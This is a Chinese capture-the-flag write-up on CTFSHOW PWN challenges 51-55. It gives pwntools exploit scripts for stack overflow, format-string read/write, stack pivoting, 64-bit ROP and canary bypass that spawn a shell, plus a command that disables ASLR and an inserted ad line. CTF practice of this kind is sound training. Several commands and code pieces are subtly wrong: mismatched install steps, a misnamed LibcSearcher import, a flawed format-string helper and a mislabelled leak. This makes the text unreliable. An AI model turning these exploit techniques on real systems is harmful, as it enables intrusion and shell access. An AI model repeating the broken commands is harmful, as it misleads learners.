1. CTFSHOW-PWN(51-55)挑战概览
CTFSHOW平台上的PWN系列题目(51-55)属于二进制漏洞利用的中阶练习,主要考察Linux环境下栈溢出、格式化字符串等常见漏洞的利用技巧。这组题目特别适合已经掌握基础GDB调试和ROP链构建,但缺乏实战经验的选手。根据社区反馈,这五道题在解题思路上存在递进关系,从简单的ret2text逐步过渡到需要动态调试的复杂栈迁移技术。
我在实际解题过程中发现,第53题是个关键分水岭——它首次引入了非直接的栈控制方式,需要选手通过观察程序崩溃时的寄存器状态来逆向推断漏洞触发点。这种"半盲"状态下的漏洞利用,正是真实CTF比赛中常见的挑战形式。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与工具链配置
2.1 基础调试环境搭建
推荐使用Ubuntu 20.04 LTS作为基础系统,配合以下工具链:
bash复制sudo apt install gdb peda pwntools checksec radare2
对于PWN题目的调试,我习惯使用pwndbg增强版GDB插件,它的堆栈可视化功能在分析内存布局时特别有用。安装命令:
bash复制git clone https://github.com/pwndbg/pwndbg
cd pwntools
./setup.sh
2.2 题目文件处理技巧
CTFSHOW的PWN题目通常提供二进制文件和远程服务端口。本地调试时需要特别注意:
bash复制# 修改二进制文件权限
chmod +x pwn51
# 关闭ASLR(仅限本地测试)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
对于32位程序,可能需要安装兼容库:
bash复制sudo apt install gcc-multilib
3. 题目51:基础栈溢出实战
3.1 漏洞点定位与分析
使用checksec检查保护机制:
bash复制checksec pwn51
[*] '/tmp/pwn51'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
关键发现:
- 32位架构(参数通过栈传递)
- 未启用栈保护(Canary)
- 未启用地址随机化(PIE)
通过radare2快速分析:
bash复制r2 -AAA pwn51
> afl # 列出函数
> s main # 定位到main函数
> VV # 进入可视化模式
3.2 漏洞利用开发
找到危险函数gets的调用点后,计算偏移量:
python复制from pwn import *
p = process('./pwn51')
payload = cyclic(200)
p.sendline(payload)
p.wait()
# 查看崩溃时EIP的值
eip = p.corefile.eip
offset = cyclic_find(eip)
构造ROP链获取shell:
python复制elf = ELF('./pwn51')
rop = ROP(elf)
rop.call(elf.sym['system'], [next(elf.search(b'/bin/sh'))])
payload = flat({
offset: rop.chain()
})
4. 题目52:格式化字符串漏洞利用
4.1 漏洞特征识别
当题目中出现以下函数时需要警惕:
- printf(user_input)
- sprintf(dest, user_input)
- fprintf(stream, user_input)
通过输入特殊字符串测试:
python复制p.sendline('%p.'*10)
# 输出类似0xffffd6ec.0x64.0xf7fa4580.0xffffd6ec...
4.2 内存读写原语构建
泄露栈地址和libc基址:
python复制payload = b'%7$p.%11$p'
p.sendline(payload)
leak = p.recvline().strip().split(b'.')
stack_addr = int(leak[0], 16)
libc_start = int(leak[1], 16) - 0x18637
写内存修改返回地址:
python复制def fmt_str(offset, size, addr, target):
payload = b''
for i in range(4):
# 计算需要写入的字节
byte = (target >> (8*i)) & 0xff
# 构造格式化字符串
payload += f'%{byte}c%{offset+i}$hhn'.encode()
# 设置参数地址
payload += p32(addr+i)
return payload
5. 题目53:栈迁移高级技巧
5.1 受限溢出场景分析
当溢出空间不足时(如只能覆盖返回地址但无法放入完整ROP链),需要采用栈迁移技术。关键步骤:
- 控制EBP寄存器:通过leave; ret指令序列
- 迁移到可控区域:通常是.bss段或堆空间
- 构建二次ROP链
5.2 实战利用过程
首先泄露栈地址:
python复制payload = b'A'*40 + p32(elf.sym['puts']) + p32(elf.sym['main']) + p32(elf.got['puts'])
p.sendline(payload)
leak = u32(p.recv(4))
然后布置虚假栈帧:
python复制bss = elf.bss() + 0x100
payload = flat({
0: p32(elf.sym['read']),
4: p32(0x080485d5), # leave; ret
8: p32(0),
12: p32(bss),
16: p32(0x100)
}, filler=b'\x00')
p.sendline(payload)
6. 题目54:64位系统下的参数传递
6.1 调用约定差异
64位Linux使用寄存器传递前六个参数:
- RDI - 第一个参数
- RSI - 第二个参数
- RDX - 第三个参数
- RCX - 第四个参数
- R8 - 第五个参数
- R9 - 第六个参数
6.2 ROP链构造调整
寻找gadget时需注意:
python复制rop = ROP(elf)
rop.raw(rop.rdi.address)
rop.raw(next(elf.search(b'/bin/sh')))
rop.raw(elf.sym['system'])
对于复杂调用:
python复制rop.call('execve', [next(elf.search(b'/bin/sh')), 0, 0])
7. 题目55:综合漏洞利用实战
7.1 混合漏洞场景
本题结合了栈溢出和格式化字符串漏洞:
- 先用格式化字符串泄露canary和libc地址
- 再用栈溢出绕过canary保护
- 最后构造ROP链调用system
关键代码片段:
python复制# 泄露canary
p.sendline(b'%23$p')
canary = int(p.recvline(), 16)
# 构造溢出payload
payload = b'A'*100 + p32(canary) + b'B'*12
payload += p32(elf.sym['system']) + p32(0) + p32(next(elf.search(b'/bin/sh')))
7.2 动态调试技巧
当利用失败时,通过core dump分析:
bash复制gdb ./pwn55 core
bt # 查看调用栈
info registers # 查看寄存器状态
x/20wx $esp # 查看栈内存
8. 实战经验与避坑指南
8.1 常见问题排查
-
段错误但无崩溃信息:
- 检查payload中地址是否对齐(32位4字节,64位8字节)
- 验证所有用到的gadget地址是否有效
-
远程exploit不稳定:
- 考虑网络延迟导致的输入不同步
- 添加sleep或交互等待
-
libc版本差异:
- 使用LibcSearcher自动匹配
python复制from libcsearch import * libc = LibcSearcher('puts', leak) libc_base = leak - libc.dump('puts')
8.2 性能优化技巧
-
使用pwntools的context设置:
python复制context.arch = 'amd64' context.log_level = 'debug' -
开发时复用TCP连接:
python复制def exploit(p): # 所有攻击代码写在这里 if args.REMOTE: p = remote('node4.ctf.show', 12345) else: p = process('./pwn55') exploit(p) -
自动化测试脚本:
python复制for i in range(100): try: p = process('./pwn55') exploit(p) p.sendline('id') if b'uid' in p.recv(): print(f'Success at attempt {i}') break except: continue
9. 学习路线建议
根据这五道题的解题经验,我建议的PWN进阶路线:
-
基础阶段:
- 《Hacking: The Art of Exploitation》
- CTF101二进制漏洞基础
-
工具掌握:
- GDB/pwndbg深度使用
- pwntools脚本编写
- IDA/Radare2静态分析
-
专项突破:
- ROP链构造(ret2libc, ret2csu)
- 堆利用(unlink, UAF, tcache)
- 内核利用(提权漏洞)
-
实战演练:
- CTFSHOW全系列PWN题
- Pwnable.kr经典题目
- HackTheBox二进制挑战
在解题过程中养成记录笔记的习惯特别重要。我通常会为每道题建立Markdown文档,记录:
- 保护机制分析
- 漏洞点定位过程
- 利用代码及注释
- 踩坑记录与解决方案
